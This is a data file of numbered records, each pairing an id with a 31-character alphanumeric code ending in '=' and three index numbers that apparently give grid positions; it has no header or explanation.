+2834,04B3F4ZQSV2P4QEDIMIIA69F76XUUBM=,45,2,1 +2835,IRO3IGRXIQT8W8PEMP6578KRFO9RUMO=,45,2,2 +2836,QBERN3XC2HS7WMENI6JJ0KUGKWYPIDF=,45,2,3 +2837,G4Q4LOY107SCZIVTQZPWYXBGX2OL2JD=,45,2,4 +2838,R8FPS5ARBHP1O5O7MNLVUWU4TWG4Z2W=,45,2,5 +2839,6CUZE4VZV9U14I1Z89SCHVPRVIPVE6Y=,45,2,6 +2840,ZOOGOJ33LVTTQYT4174Y3UMC8TXAL2K=,45,2,7 +2841,73ZW03UQUEGB9IM8BKESPBJ2B4OWSBI=,45,3,0 +2842,CZI22LJC4LEC0FZA1WIB6H6SIJNGPHS=,45,3,1 +2843,S4YGKOH60HZQQKC1V2QNACZW2ZUS3SM=,45,3,2 +2844,86I468H3NXB9JGYAQWZ8AVNS1SX28NW=,45,3,3 +2845,KWXBXWPAP1CDEGF1ERT6DXDRNTL3ZPY=,45,3,4 +2848,M9FIEEKONFTU9ZT3ADJM6HZTVWFXR2Z=,45,3,7 +2849,MDYENCNZCGSHG03JBL91P7MG1FS4TCE=,45,4,0 +2851,HTV7C53LD1W19QLKHHWHMJP53J1H199=,45,4,2 +2852,AX79WGRX8OB42ER94D2M37916WDKRR0=,45,4,3 +2853,97MKADLRGETPV0XWHGZKWREHAPV37L0=,45,4,4 +2854,O3HQN5FOWX1TW2ZCR205VH7U3FKTFG0=,45,4,5 +2855,CGY52YV7ZVO42AV75CSZUBRI4MDOV2I=,45,4,6 +2856,91XDHEZB0SCJIDXTZ1ERMOV7E01XZRH=,45,4,7 +2857,JPGX6LIPK2OGPW00X96SMUE0VOPT75K=,45,5,0 +2858,YSZ4OB7OYNAXEAUNWGQTNKJ0D8GWY9L=,45,5,1 +2859,ZV4O4SB5J3TRIAL4V52IWSHNTOGTXB8=,45,5,2 +2860,JEYT5BIHC7JXT6WKF8EOMGPZPVQLWCW=,45,5,3 +2861,98YPHOXO1G9RYJTXEEFQPBNT8RHCP42=,45,5,4 +2864,FAJBSKNISMKPC5DSN3CB3M9CS8H5VMV=,45,5,7 +2865,UW8YBXDN595AHBMZ0W6UIEGGE18474Y=,45,6,0 +2866,LP110EGP877WVNYKKHSQ9OLCTIJA6SA=,45,6,1 +2867,83LJLOQJ9J1YLN1NRJJ2DBJZB6ETMGC=,45,6,2 +2868,JC9H6WW3XHXWW4BX74YG4MUVEUAYR1Y=,45,6,3 +2869,ELRUUQA65U4RPVVRVALBCV2G7SP47LO=,45,6,4 +2870,O52O1P9YD14ER49IJFUUGJDG1A66148=,45,6,5 +2871,FAYM3LYTZMHRVZSXNCPNK1NJIKDL5TC=,45,6,6 +2872,44U6P605JQS16MMB9F4IS2ZFUGZUG19=,45,6,7 +2873,5FXDZ9KRZ9DLYM9QWUJHUZKNWKF9ND6=,45,7,0 +2874,CXVGQJSYVPWSL9J959LL3FTWI63E0OV=,45,7,1 +2875,T0C2IKROXVLUX7Z4FHNC42CVHKVCDZG=,45,7,2 +2876,YBXLXZFVTXYAMAITUL2IFDGXEPW5PX6=,45,7,3 +2877,FEWHAA99IQ7B3W3S9RI4NE3DOLSBO5I=,45,7,4 +2880,LG86XN9NU2FFJJOSO65LZ3914X83WCJ=,45,7,7 +2881,HA6EEAU7AKPPJ6LK8EIBK5Z9CRPTNLI=,46,0,0 +2882,1O4ORNM2MHNSAA7KNIO8PM5QNMWP6NR=,46,0,1 +2883,Z2JFV744KOFU2777PCE292WI3V2RPBG=,46,0,2 +2884,I0QKJ8X0HQUQ50KJ52K189N1WTXFCXW=,46,0,3 +2885,GIYU6YTAHVXWMHS8DBLPLXNJTUIR30I=,46,0,4 +2886,O5BZ7OH5ZMUKADTV2QE8H6A4C37VI4H=,46,0,5 +2887,QMIFC356PK6OTO1DW1FMRFP3PFM6M1Z=,46,0,6 +2888,IR2KGXGJ513L8R35WAK7VFBUEHJBGZU=,46,0,7 +2889,6E9O4HUHNHSWS58IBONQQT5JD6MZUVN=,46,1,0 +2890,J5K6C20NKQIIU7JXIH0AP03QX1M05K5=,46,1,1 +2891,G9SA4STXLEDW3N304K4BE7BVXXVFJR0=,46,1,2 +2892,FYIOFGZNFCLMH8Q0SWUU52HRJCLD1R5=,46,1,3 +2893,PPUP6TW7X5D5OIA3XKYO3L24YRDVT2C=,46,1,4 +2894,ICHXSVQ1H8VL2CIDA10CL9ZYTIPXZVK=,46,1,5 +2895,DDL0BK2ZX1PISUDXYLQK9L0IAY81TJN=,46,1,6 +2896,2BMIJA2FWC8F84XAD0PJXSITJWDNC2I=,46,1,7 +2897,1DG2B81VHQWO8WNHDLNT6YYXWSPEQV3=,46,2,0 +2898,NWOEMU7KMMH4QVBOU8YXIQQH3ISI1JI=,46,2,1 +2899,A9GOZXHYUP1CPY7R15ZG5W2G0O5V96W=,46,2,2 +2900,XJGX0Z25MMVR47FUZMUVJKTDET6LUL4=,46,2,3 +2901,A8EO4XXBS0945ECGAEWAVEKKOAXPHAW=,46,2,4 +2902,RSEUQVXZCCTCFHXXSF7P63J9REYCCF6=,46,2,5 +2903,NJYPXAA2YXWR120RHOUS4XZZEND3FJE=,46,2,6 +2904,IRJQD31OSN9OZUCEFMQQ8FVT9N4BXGU=,46,2,7 +2913,KCIWHFM1T8GYVKCOE8I3LJ3ZNPITV8I=,46,4,0 +2915,NJD1TTA95DZJA8UEGHJNSSSRCE3F4DR=,46,4,2 +2916,FG66H49O0QJWF4C01J3SWBF3MP0D2DM=,46,4,3 +2917,9FGI8POS9YFVJNAFWLDB9TTP98ICN1H=,46,4,4 +2918,7E3MAGIW8LJ89IRTLYP6JBU5O0M7SRF=,46,4,5 +2919,1JAYD1U2VGA9HE7G3RML90OH9GIP8DG=,46,4,6 +2920,RO8RNMAI85LXXZQ4BYBE53GX5EIP3WD=,46,4,7 +2921,RS70OBNYKNDZZ2SBJO2RVPH0WQDDHIS=,46,5,0 +2922,8RY2RU3XWPB01PZIJOCAJIZOXSZPKZH=,46,5,1 +2923,ONX8C68IS5DH9RQYVC7W2BTYYLJQ7VF=,46,5,2 +2924,PZBH1ZCLTD40E05K2XU75GW4QAY0Q79=,46,5,3 +2925,QTZTINY9OM9UJDA63UTXEXT6B7XN881=,46,5,4 +2928,HAS3B41CT4WHONAK7Y60GYDCVVE7YML=,46,5,7 +2929,Y6I3EVFVJH4A4MCJ1UUJUKCYCRTXX9C=,46,6,0 +2930,AY2BMZGBN41FDXESTF8T6A4J76FEXA9=,46,6,1 +2931,3YCU4IAFQKVIXFWRB4WN6G1OX4Y80HY=,46,6,2 +2932,CXAJV166XJXBMXE7H6CZEOX9GTMCFSV=,46,6,3 +2933,NC5H2DTOPLYOAHR9PG0R5GKJ3KMF23O=,46,6,4 +2934,SVQR06CVSVKB5SPQ33RKQF7OQJGMMOA=,46,6,5 +2935,WAWHU2HRPUDY8EOANZEYTNDECGSQ0SE=,46,6,6 +2936,458HOFKC3CXWEEL7JDAWPD07BW3KZ7L=,46,6,7 +2937,GKDDE24Q8YZMGVALLLIYMSM9IMJPWJ9=,46,7,0 +2938,IM2G9ZL1OLDDV0KWER7IZJP41A1PJL4=,46,7,1 +2939,F2UG41USS8E6LK65FXPSH0DUAV1N33H=,46,7,2 +2940,X499XGD3TFPS85S0GCVQ71PZK5HH9UC=,46,7,3 +2941,2LC8DZKDMHR76KJEBH3EWR3SIHQB5IS=,46,7,4 +2944,Q20W3Q6HMP237H7ZXY3E2N5B1AMGHQ2=,46,7,7 +2945,5HSSXTWITSRGQN48Q2IDDTTX30LAV5L=,47,0,0 +2946,5TIQVQ20NDYWAOZX6JXF9GFT0Z63CG2=,47,0,1 +2947,5KQXE7R5D1XL6NC1EGX8HR0X2DCN0M7=,47,0,2 +2948,WG9AVVIHLQA87SLCEAPSMFFMFYOAXQ1=,47,0,3 +2949,0AK40LKQ1D47NED7IOOGU372JWYZGFC=,47,0,4 +2950,CTSHPSEU5ZQKPLHQQ7DI395GCTJY9D5=,47,0,5 +2951,FJTV5W6RO2RASGWZCR52Q2KLW5F10TC=,47,0,6 +2952,2X4IFJ1GPHC2ZU0F2HQKU8JYIEHYPT2=,47,0,7 +2953,CYW2VIS7SFE7CSOIM6LG9YOD01UNDV5=,47,1,0 +2954,0OCX3MTRB1FLVC7143LL4G2DJL2EXMV=,47,1,1 +2955,X87VJRXDD70AECXLETEJY1R5NENZCBO=,47,1,2 +2956,UNAR0150OTEHKLRKPW3RBX26FC4U5OO=,47,1,3 +2957,F2K8UQZS8OMVQDHOLAS337Y375W3E68=,47,1,4 +2958,EC6VCA70QSOAYESGP3GVCT499PWCJDQ=,47,1,5 +2959,EOC8Y50C22YKZSBQLST3LNCUKS93QSC=,47,1,6 +2960,3LIFLUY3PW8FATR5PZ4YNCNBC191TE5=,47,1,7 +2961,H8078O05BCEH6K3IXSCN4BNRCSS3EBQ=,47,2,0 +2962,EDFEU3V3JEY5QXPLX3W1R8GQ4ICYAK7=,47,2,1 +2963,NYAQLNE84XATPHT2TXY13D70X80FMRT=,47,2,2 +2964,1KKZD6W87CPRQ6OYUN40UXJ2Q683TXB=,47,2,3 +2965,C86RKTCHGJGEN3JIMD38I8K8XF4GH5R=,47,2,4 +2966,K80A3NLJ1P0U7Q6R24VB2O7PDG3NO8I=,47,2,5 +2967,TD4TLSQPFS9XTTJV7U1M7I81GCWJQY8=,47,2,6 +2968,ZIBD111RTE7C173FJ2NS432B4TUAZAW=,47,2,7 +2969,PDLYXLSKSEZZLTOIK51UGFRBSJ68YC7=,47,3,0 +2970,0UQP7XE11W0GO4GAQPS2X9VBUIN5V8Z=,47,3,1 +2971,1T9PN2M4NY5Y5N9LR2SMP8CZG8AVFN1=,47,3,2 +2972,5NNTLWY320HASC5WEGTWUYRJ4N12Q36=,47,3,3 +2973,FY1UZFLLOAPOGSIA2UK2C6XH4RFTWUC=,47,3,4 +4490,RYK5EGGVJIM47K8O41AFXD11BY2UHYC=,71,1,1 +4491,0U8Q4HWXHB1GI8JAQVV820UYZQQ7BJQ=,71,1,2 +2976,ABH09CAN2QZS1YWRC4O6GO7YZ83EJKF=,47,3,7 +2977,L2EC05ZCT96IHJTLZ3S4OAY9RQPNC4I=,47,4,0 +4492,L8BOULW25231E6WRAM7SWKEUW5ZRSS1=,71,1,3 +2979,VB0IURK6KRID5EWUL9PE6TLWUYSUUVR=,47,4,2 +2980,UFWUGTO4ATCLQGQP4MWT0BDETR0F6U4=,47,4,3 +2981,1Q3VDZPY3NBKXFR7DU8MTOBERL21E9P=,47,4,4 +2982,6DKZWWD12X4J00JVCEL8JFYZFS08ZAQ=,47,4,5 +2983,NORJXUIGK3MCU466CTRMH9WFJA810C6=,47,4,6 +2984,30BJ50P60Z8QQ17DFWNZYJ3C9L0FUW8=,47,4,7 +2985,NNE38EPSCAMQTX5H2PKNJKZPJ2MGAZG=,47,5,0 +2986,ZQK632Q1VOA3KAXFACAVPGP0WGTMR71=,47,5,1 +2987,62VNFDL9IKCFJ3CHYRDWDDR798161SM=,47,5,2 +2988,RB6L1NSC8SB9JZMYCZME7PVSXD2DSIA=,47,5,3 +2989,0JQIJZIVPLO2BMCAOF2YX72SZIJBIBS=,47,5,4 +4493,SXHPGKD1FQ8CLSH3SP8Q4761EPMUN0I=,71,1,4 +2992,WMLS1QQCY0W9L4DDCF91DDSWDFQT9GX=,47,5,7 +2993,R9UUD1WS27TK7NHOT3OFWR5HMKGXRHG=,47,6,0 +2994,U5I3BA2DNJ6DF3JHYNQVRSFW6K8WRVF=,47,6,1 +2995,QCGWB9UT5R2FIEKTB42TVVZRNQW2MMI=,47,6,2 +2996,C2E5980T57OJ20NK82GUBMIE6RI6XQK=,47,6,3 +2997,F7QFC3ZDY7NUJ9PQIZ9FNN61RDGOMDN=,47,6,4 +2998,QB3EZR55T7001KD8AE3WKL87ZUQ0P7E=,47,6,5 +2999,O8L96M6464E6DOQ47Y11FAMB3STWR9C=,47,6,6 +3000,X93YY6QR7HHMLOYW77T901I0KE9WG1A=,47,6,7 +3001,ZL9QRDRE9RXUKQTL1CEPQ20R0A07BID=,47,7,0 +3002,HU3N2WMEQWGII1EESJD8612EX513TWO=,47,7,1 +3003,H9Q9PA98ZQ94VHOWFKTD3QZNGXEDJYF=,47,7,2 +3004,GXQEZ1VQMZVXH7NI67RPZEMHE81XM3K=,47,7,3 +3005,BOP5NVV26OUULQYF4YFPUZJQLQOHOBJ=,47,7,4 +3006,YR19E6BGNOWOMX6Z8GWRYD0FFRZGW7A=,47,7,5 +3007,XOSF7Q1KOSEWOIAYAAPZH3EW6GJ2VSC=,47,7,6 +3008,51QDFLL18H0KAC8T8U6AZBOSDZY7651=,47,7,7 +3009,DR4YB0RX056X3WTWNWPDKQFKH57AEYX=,48,0,0 +3010,0QWTVY6J3B3BMMVCYE42KVIB5LNEJL0=,48,0,1 +3011,LTIO2R9T0TGHYXM9ZLWTP5SDEG95BSM=,48,0,2 +3012,0KTKTL8UI8OKUOD6DNVE3ADBOZYY88C=,48,0,3 +3013,CBMQTH9I0QB3509N6CA251IA60YV8NH=,48,0,4 +3014,98UD7IZY3CVLM6WT9SA85PWS7JCDA35=,48,0,5 +3015,GBYDKZ9KY264UGS8FCGDNF7PMX5U2NC=,48,0,6 +3016,357CL73FG2HPXXS4Y7V55AYLCS9I1HK=,48,0,7 +3017,0CV1IR885O3PCRZ1F3J1CNQV0QTLY91=,48,1,0 +3018,6RHCKNRCI9RQBPDG44O38RV8ARC4TZM=,48,1,1 +3019,DGRTLUQNXF2XWKYBXA4VNAP12L58Z4S=,48,1,2 +3020,K7RXW5E7DRBFL7JX0FIX5GC2HTYT3DB=,48,1,3 +3021,V6RTX7JNB5TRITXLC1ZEPCAMRE7MLHR=,48,1,4 +3022,UTC1DAYAWKC2EGRX2NKURT6BWGULERS=,48,1,5 +3023,PCP98L0B8FZDCOHEOPDAENIBM1IEIP0=,48,1,6 +3024,DBPHYS1T3B7N0Y06VAB52A1N43H18F5=,48,1,7 +3025,E2OS1ANEU75OQR7IKKPF7ZWKI5HLXG4=,48,2,0 +3026,DWI9PU5DPKSJOA3MLWMH09VNLFK3QJ4=,48,2,1 +3027,A9T6WGTW7OX1PEOT67JK6KKH9RHGERW=,48,2,2 +3028,L5IXHR45N1YNJA17WR1ASUSJ5M1F3VK=,48,2,3 +3029,I6EIWPGLGX9PK4YYUWS92ZSMRB3CFFX=,48,2,4 +3030,J9BGSQURLRCR11AFORWHGHG7A4LLKSY=,48,2,5 +3031,K82GAKYUXLVRP3BZNBZNNJGOPBHCUSP=,48,2,6 +3032,UMPAW07LHU0YIEROFIX3R2BOOF3S4AZ=,48,2,7 +3033,B4ZOMXQRNV6N6BFK8UH0LXZM2D0UUEM=,48,3,0 +3034,IKBPCU3GGT52LEW7RF3RUMJXN2FZR6Q=,48,3,1 +3035,WN81P11NFUP5ARGTMRHR2KWDMGS327O=,48,3,2 +3036,SPCNZAAN7E418G1W2HLS8PA0TK3I9LU=,48,3,3 +3037,XQEXZJRQA2ZJKWWSL7P6RVXDX6E54FI=,48,3,4 +3040,9242BE3KV2T0ROTG7X0SH8TUF7MM3VJ=,48,3,7 +3041,V68M7XVX2CSFAMEMS7MJPTBJ0IT6UJN=,48,4,0 +3043,HTEEDVTFPRKGWXW2653D7QVBKP7BYY8=,48,4,2 +3044,GKWYZVPETOFGRZMGEZBGC3U5ELMCFU0=,48,4,3 +3045,XWU89ILHCDXF5VQF4U5PBRG70VR7OOX=,48,4,4 +3046,TQ4MGR2TY8PG10OW0U7EKCZ3JOFC0ME=,48,4,5 +3047,8TIFXG8NRXZPXG7M4D6W1MUVVTEDW0A=,48,4,6 +3048,OKIXHXIFY0RRTF8ZOJ9073G9RDFZ8Z1=,48,4,7 +3049,U3KN321TN366IUN5X0PUDDDYBBO3OT0=,48,5,0 +3050,V28PMTDQZUY6ITRKA9C15I2DOR0ZO4Q=,48,5,1 +3051,Z8HJE8U0XAM7HWE4AO13CRKI65EPOEY=,48,5,2 +3052,VAE2VVCY0SJTQRTYUA3L37CQ5SWYPLA=,48,5,3 +3053,26DP7WJQY0W815ZHCCU88P8NNF6I05T=,48,5,4 +3056,7GW4N7JZNWG5I8L9HFMY6BTP6689EN9=,48,5,7 +3057,MYNB9P3AR8IJKYQGUSRS42BXGG5Q829=,48,6,0 +3058,RGDKC3QXCCMLC3OTPMKYYTVNEAI06Q2=,48,6,1 +3059,PR5BZOALZ9PILVEXG54O0LYPRPSMLW8=,48,6,2 +3060,6I8PJ09QKKD7U9NGLFEQ7NVZTF3ABAY=,48,6,3 +3061,8U0S5BMVK80PG7ANC6638HCC0OIWW7A=,48,6,4 +3062,IBIANKO7FLLUS8Q5CG8S6ANRAMAWEWU=,48,6,5 +3063,PU5HFJGDBNPAM3321YLRFXKUX64ES18=,48,6,6 +3064,QC4M5TQRS6UZ567C8PWVOH4DDIW0L02=,48,6,7 +3065,JLWSHA0DGG435QJTBH894KA0GQNOSPK=,48,7,0 +3066,3NFCJ08YR8NC1LYHFS2XDG0U5247LEK=,48,7,1 +3067,Z7MO52YV76428KVIM0CA6OHWVH5LKVC=,48,7,2 +3068,Z255HUZMWHJS6GGK51TEE9FGOZLMWB2=,48,7,3 +3069,67KC80BS9HX63O0EBXKT034F0BV76NB=,48,7,4 +3072,12728S18FRPUZ48V91QKGLYMKHWF1PP=,48,7,7 +3073,SZYFUHCX7RZSYD5OAEX9NSZA4HEXUQV=,49,0,0 +3074,GZWWHMAYAANDDUI3PRAXZ5FM1GTFV0B=,49,0,1 +3075,4PHJ7MN9VH7R6PW5S4HPZUYSPCN3D94=,49,0,2 +3076,T3ZU9DMLVEQKXEDINZ9BM87QUZ2KCDS=,49,0,3 +3077,ADTQ0Y8VOKVV9RW6DAU5NYQ3W4PY0MI=,49,0,4 +3078,JVPWFUT2JPVFWOU0QV0S0G8MFRCE11M=,49,0,5 +3079,XSVOUSD3V07NJ7J6MZ2WQIQ57FCFYX7=,49,0,6 +3080,UMJLAZIGDM3XATWKPBIVOOTGSOO4SPP=,49,0,7 +3081,C7HVK313HTK9EQZ4QW180QD7EJUO3WJ=,49,1,0 +3082,97BX25YYM1QTYAWJOQU9W5AWM8NXE0P=,49,1,1 +3083,8UV1Z1BHKJRGT389H37ILFXASPWC2TJ=,49,1,2 +3084,U22GCUHKF45KCEVRPKBV5H5XLMP1LRO=,49,1,3 +3085,QRZ3DFKGNL15OSD32DA9872WSMWJLT5=,49,1,4 +3086,LMJZGRLZ298V769K1SG5J5088LNVKZB=,49,1,5 +3087,YQ1UXS472W7S36B5ZOTQLGUBFFANAEO=,49,1,6 +3088,9EYVEBBKRH98EJMR89RLMGRW2KKR18X=,49,1,7 +3089,CDQLHGWB984709QHSG7JPSW3EOY2DB1=,49,2,0 +3090,GMZRNEES1P7W0UX0T0QLPNF9QNREKC9=,49,2,1 +3091,C789186VPD2EEVWOWUVPV2J6AG5LS5V=,49,2,2 +3092,CLVOGBPW05FRF595LV89SHYI21OCA51=,49,2,3 +3093,TH6NFF51ZRXD6XLR9U165KN5GSVJRFW=,49,2,4 +3094,YWYGHM89O29NVYFAQKKDGGSRGV6HQQ0=,49,2,5 +3095,PEVGZAKB2G2AYI0849902CML5XOIBLB=,49,2,6 +3096,4N0E5DX76C3HD94OXVITR9XOUUNZHFJ=,49,2,7 +3097,VONDAVOPVWXPQ30LZYF4OHQ4H53OPQ2=,49,3,0 +3098,2G5O66T8K0P2KH3H9X7300M79HLN8E9=,49,3,1 +3099,CGC9P892Y7U24FVBHRHVEF5IILFG5WT=,49,3,2 +3100,FYP6VJD0HWFOPONXQLPI8NT6F03MBHW=,49,3,3 +3101,94QHNK90SMRP2XFS7JFR3ZAGJJ2C54M=,49,3,4 +3104,0XUZTUR44NGQUN3M751O94UVTP6IGI0=,49,3,7 +3105,1SB089SN2U6IZUH0X0C61P80TKW1PHH=,49,4,0 +3107,OA90SYYZHMMYQD6RP6WZOKEM3XN4KOP=,49,4,2 +3108,5RXNO9RNDHNSIJ5TNDALIAQ0MXP1FEO=,49,4,3 +3109,9AV2BLR2M4VPGUSB60RQ3EXO4E2TPDV=,49,4,4 +3110,9NNCZKIBSIIVSCRC74OL4PXB2R278GP=,49,4,5 +3111,GBPVA6CY1QDOS96864NQX9ANAZAXJYR=,49,4,6 +3112,15LN14JHJTN3RHEDL99Q44GHZGHTAD6=,49,4,7 +3113,BW13JUP37K1KLUAOIB27RC1YBXKGHRL=,49,5,0 +3114,OZ49RBYMNSLYDQZGNY37VCYV48GUX0U=,49,5,1 +3115,ED80CABWR7YEG9VNQFI522V35I43QGB=,49,5,2 +3116,DM6OXZX38FWI5ERUB401ZNBJ69VE5Q9=,49,5,3 +3117,0P54O7T5SN3JHHUX7E5F275OT40FX8N=,49,5,4 +3120,R4IAM8TTL7CA8PKTLBYDBC52AOVDW1B=,49,5,7 +3121,WFW4H4GD4GEZHC3BM43UQR18CEUD9DX=,49,6,0 +3122,I6LD6V8B80PHYAEPO9UBFGAKZ5LBMB3=,49,6,1 +3123,IBBR03GQJ5OBAOSO6UA31U4F3T2GLBC=,49,6,2 +3124,RPA5TQQ70FU7L5I6FVF7MFDV0JJ0ZB3=,49,6,3 +3125,4MBXA1RHBGVSAFU5QPMR3ZL50AICZAB=,49,6,4 +3126,ASRZJROYCYDP3HX6IX6OBM7UG98Y8XH=,49,6,5 +3127,JOOYUGIB05XA1Q44F00I3JFFHG0J0D5=,49,6,6 +3128,Q6X0CSNI0B71R0CJ1Z4THYI322R978E=,49,6,7 +3129,U3Q5I9UQH9L82WCJX2S47BGKJ3HANXG=,49,7,0 +3130,WXCK63QZGQ6M25YJ0R6JBGTYIZEI6CV=,49,7,1 +3131,PLO1LAQNBTYUNK5COQ90MVN58RO9P6T=,49,7,2 +3132,4554VFJZQZOIILCL7FTDY11GA4S7LZZ=,49,7,3 +3133,8FD3THL3Y95ZR4T4ZTT5SPWLTCCQT5O=,49,7,4 +3136,ZMW8PZDVZU9EK0Q84IJM8DVT0F8OIS1=,49,7,7 +3137,C7XICVKQDDU0QQGGT00XSXYHGZTYZV6=,50,0,0 +3138,HNS5LTXHX1TGTFO9QJOSVWD6RXV337U=,50,0,1 +3139,HQNDT0XBR2D56TXW4BB0MH0RJFLRRIX=,50,0,2 +3140,5YQUYFKRSOTNUBDFLIN39A634GZSH1Q=,50,0,3 +3141,XKJEMJ7TMCXHLQ43LDWGQIQYRU0IXQJ=,50,0,4 +3142,BXR8B7PPZ6RQWL192XTVQS2925YHDTC=,50,0,5 +3143,L9U8ETQSK3CEM3SIGQPOO15HIZWAS2O=,50,0,6 +3144,WCEMN1SG5UKOOBSISLDD3GYHIVI8N1W=,50,0,7 +3145,10RBF3D8WWHHIUM63RTUF1ZPF0I79TL=,50,1,0 +3146,VW329PWQB6NYZ9X0HOE8W5BU3AW1161=,50,1,1 +3147,9KBYHHQ1Q19ZD4O7NUUL8ELFZ1JCQWT=,50,1,2 +3148,UUOIGDEZU9EUR5URA53PNFKGUVZUKZQ=,50,1,3 +3149,F1OV1S5ZQJIP8AFL1A68V4RY1822CXU=,50,1,4 +3150,R600A4BM1MGE9AZ2V3I4YEVL7EV8DGT=,50,1,5 +3151,EYU2QVFTJMZ7PG1Q5O3APXHCNMNC22F=,50,1,6 +3152,JX8WRYNU6ZJQG8VZAMZH29DAJYVEXEB=,50,1,7 +3153,0G26GGD1SHSFFB9QVW6GRKOU3TPA2SA=,50,2,0 +3154,EX1NBZAR1YWNGSMU43SV25LOE2S61QW=,50,2,1 +3155,ECSLDBX1V8DTRYXX9EAJOV1A5TAXOSR=,50,2,2 +3156,7AQQDQYFAS3H67ZERWSDE2UB3I9HD87=,50,2,3 +3157,S5M9T1MTWCQFRUSUIZ2KV89MKFVWXU6=,50,2,4 +3158,WZYFWIS7U53P7R22EV539D0YQ6LFGTO=,50,2,5 +3159,NDJF8CGKF7SKH3FJRI1RFBDPUQZ8RY3=,50,2,6 +3160,1J3TIS1OBQH1DCBYW9PKE4EHUA3UTB5=,50,2,7 +3161,JPVLQVACOUP3LXI9TIJXY7ENW74GUFL=,50,3,0 +3162,5UF6UJ5J38DMLQCE6V7XZ9EL22IWKJJ=,50,3,1 +3163,DD483FYQJ8E8LATLD7ZIC2C0LI5JBEH=,50,3,2 +3164,6TH29M4GNWLWV8OA232COH6F0MRNHES=,50,3,3 +3165,CR0U9817V3I0EXLWNWWJWOLIYYSK38V=,50,3,4 +3166,APQQWYT729GM7NTD4YDC77ETJHZ2LHT=,50,3,5 +3167,JE8X3OGKWKPVRRMM380P5PT4BTZX7WY=,50,3,6 +3168,RKXQ9IOWU5FHAQ8NE8S8XVLKXT7SVR8=,50,3,7 +3169,5QS5ZVD0RLIHW4873AHOH1YIZ2A51LH=,50,4,0 +3170,6XKE4SZT0102BVK159DOG0K5C3YD5ZK=,50,4,1 +3171,SF0LSP9PPWIIOX873A72QQQR7KKTABA=,50,4,2 +3172,83TY0X810ROL02QP4TSIRH1KSI708UB=,50,4,3 +3173,PTYOWN6D57LNPODDXQ6JAP4W6CHVQ3O=,50,4,4 +3174,A9YWAAI8605I6F2FYBH36RMEV52GM6Y=,50,4,5 +3175,CFABVSB7FID1TMXPYRH0M9IALQZVWZE=,50,4,6 +3176,W8NO5FGC0E8S97MUK1K8NNZKLW3MB3H=,50,4,7 +3177,X211FJ7YD7MVKVBXFI9VBH42MVZQUE8=,50,5,0 +3178,IICG6MOIQB6H0QZ7G6EL2V4RJHG7XNC=,50,5,1 +3179,H7ZPCRW0CPQYGNP8U90Q7G4G1UDOPHY=,50,5,2 +3180,3S82GHEIT0DQOQEKYQK6UU0SBE5VDB3=,50,5,3 +3181,WLPTRP9STSEIBWA5WN6DHNDV1ORKRRP=,50,5,4 +3184,Y8GBSFV51QDJS9XQWMN26S96TS7KNY3=,50,5,7 +3185,1F864HHBNYYTC5XFY93K1C5MC0SBJ04=,50,6,0 +3186,YLCST46YLUCS2YH8S667NNFZ6QLF0VE=,50,6,1 +3187,4I6YQ4C47FHAAIYQJ3XMH8BKF4O88N1=,50,6,2 +3188,R7CUUBQA3BKBW12YAIIY2VNLJ8S3KMA=,50,6,3 +3189,MT5WFZK1Z35IKXQZDD2GGTCEQZKXOQ2=,50,6,4 +3190,U8VEC071QU6AX1BUG4V37S5WVEP43O6=,50,6,5 +3191,RUC2EPLC9TROOGJRCG8KYNB3BCIG9CC=,50,6,6 +3192,6JOGZLIS25F04QUBU1WLS0YYA7KHIKV=,50,6,7 +3193,Q116TROJMMSQOSQGCLVI1YZKS3HMSJ4=,50,7,0 +3194,GJWAB9PHV1LMS856Q0BWOJFJQ9YPQR6=,50,7,1 +3195,W37EWGX1DW5Q9W1HJKYKXF74E4UBQ3G=,50,7,2 +3196,9OCRUNFEWOW8IRTODFGI1BTCNOWMZXT=,50,7,3 +3197,4XHW3WKE8ETI1QUYK420FG313G6DE08=,50,7,4 +3200,3AU8E9GUN3QWZBS5HJ4O0YOS0Q6LK6U=,50,7,7 +3201,P4JGBTSMWHO1JBILPN8EMBANGARTD7B=,51,0,0 +3202,4BFWFL26WCMVLWCT3I55REHWVI92N3Y=,51,0,1 +3203,A5WPDH5GZNK09R8WCBC5NK2R2L9EELV=,51,0,2 +3204,2PB4FP5S34IG1TBP7L4FQHQXN9SVQUH=,51,0,3 +3205,TLTG37SZXZGJZSYLP3JKHX8Y39NRUCD=,51,0,4 +3206,431E8IDOMDH1H60IRDYMX10CNC6J05E=,51,0,5 +3207,IAN7B2PG2G6SL8RUYBYPU7W2ZQGLRJ4=,51,0,6 +3208,LA9ZSDKQLPQLNL4U6GES58JGMEZ50UU=,51,0,7 +3209,MBZ8BNDKMHAIQLW4AP48BOYLV3DJPNV=,51,1,0 +3210,C3EUIXC7YLB7WLIHUQP09QZJ6IHZYEI=,51,1,1 +3211,NELU0CK8HSKJ4OVZKCB417MWKALDPD3=,51,1,2 +3212,5WF7V9WW9UH6RQ1T0TBN3SSJZ7L171I=,51,1,3 +3213,Z1VHAKXTWYKVIJ75XUHZ3EDYR3UHZCS=,51,1,4 +3214,X6H689V13BJRIKHPKSKZN6VV1RRYJI7=,51,1,5 +3215,5BBA6RQGP4J3DI4LHH7B6O91QNEVFJD=,51,1,6 +3216,MAEQL54H4MAZ0K81OAMTL15OL7FSBAZ=,51,1,7 +3217,3514WLXP99BPIBD1PPXD0G4ETDG3UPD=,51,2,0 +3218,DO8JDI6L20ID7XMVBIBXZZ728EP2ZS7=,51,2,1 +3219,HB1Y364DQU2FX8MITQX95TREFR418T6=,51,2,2 +3220,2EAX0D43CH67KA5PJ6FWITJ0QUUNLKE=,51,2,3 +3221,UP3CUNT93R0GOQ69GRTWWHQC43FVI8A=,51,2,4 +3222,I7WLUNDTC5F32X4T635OHMH4MS2W1CP=,51,2,5 +3223,HLJERRXKNF61WZJ8FFUG3ROTLE7SIHA=,51,2,6 +3224,YH9YGSV8RCPADSUIC1AA30MN0EER8M1=,51,2,7 +3225,ME1GCV6PXLLUDASGBPIAJV6Q9NGIN01=,51,3,0 +3226,REI9KOQ8JE40JPTM7P967A91RG7Y57H=,51,3,1 +3227,GBEOXHBTLIAI5P7KFGD7AHTB5TIBZEO=,51,3,2 +3228,CWJGTPPWSSUDFA03E7TBCC2JCVIY4QY=,51,3,3 +3229,QISROVZJYBJJPDVTAJ3UVNED2VCSQV3=,51,3,4 +3230,J37BZR45ECQXDBW0QQQM37OFSPQOKES=,51,3,5 +3231,0U3P2MBTKNU5A4NY46AYBL5DPL4WL6T=,51,3,6 +3232,WX2NS7OIFN4J25M1J441DFQ56W4I05N=,51,3,7 +3233,CVGQC34EEMIQBXB4MZIQOB6FSH92JMA=,51,4,0 